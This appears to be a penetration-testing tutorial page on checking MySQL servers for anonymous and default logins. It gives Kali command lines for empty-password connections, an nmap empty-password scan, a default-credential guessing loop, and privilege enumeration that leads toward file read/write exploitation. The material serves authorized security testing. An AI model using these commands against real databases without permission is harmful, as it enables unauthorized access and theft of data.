Skip to content
HackIndex logo

HackIndex

MySQL Anonymous and Default Credential Check

3 min read Mar 26, 2026

MySQL ships with an anonymous user account and a root account with no password in many default installations. On older distributions and appliances these accounts are never hardened before deployment. Confirming unauthenticated or default access is the first check before attempting any credential attack — if the database is already open, there is no need to brute-force anything. The privilege level of the anonymous or default account determines what is immediately exploitable.

Test Anonymous Access

Attempt a connection with no username or password:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u '' --password='' 
Welcome to the MariaDB monitor.
Server version: 8.0.32 MySQL Community Server

A successful connection without credentials is an immediate critical finding. Check what the anonymous account can access:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u '' --password='' -e "SELECT USER(); SHOW DATABASES; SHOW GRANTS FOR CURRENT_USER();"

Test Root with No Password

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u root --password=''

Root with no password on a network-exposed instance is a critical misconfiguration. It gives full control over every database, user account, and server variable. If FILE privilege is also present this extends to arbitrary file read and write on the host filesystem.

Confirm with Nmap NSE

The mysql-empty-password script checks both root and anonymous accounts in a single run:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-3306} --script mysql-empty-password $TARGET_IP 
PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-empty-password:
|_  root account has empty password

Test Common Default Credentials

Beyond root with no password, check vendor and application default credentials that are commonly deployed with MySQL:

┌──(kali㉿kali)-[~]
└─$ for cred in 'root:root' 'root:mysql' 'root:toor' 'root:password' 'mysql:mysql' 'admin:admin' 'root:changeme'; do user=${cred%%:*}; pass=${cred##*:}; result=$(mysql -h $TARGET_IP -P ${PORT:-3306} -u "$user" -p"$pass" -e "SELECT 1" 2>&1); echo "$cred: $(echo $result | grep -q '1' && echo VALID || echo invalid)"; done

Determine Privilege Level of the Account

Once any valid login is confirmed, check the effective privilege level before proceeding to exploitation:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u root --password='' -e "SHOW GRANTS FOR CURRENT_USER(); SELECT user, host, plugin FROM mysql.user;"

Grants showing GRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION confirm full administrative access. The presence of FILE in the grant list enables file read and write outside the database. The presence of SUPER or SYSTEM_VARIABLES_ADMIN enables server configuration changes. Each of these maps to a specific exploitation path.

References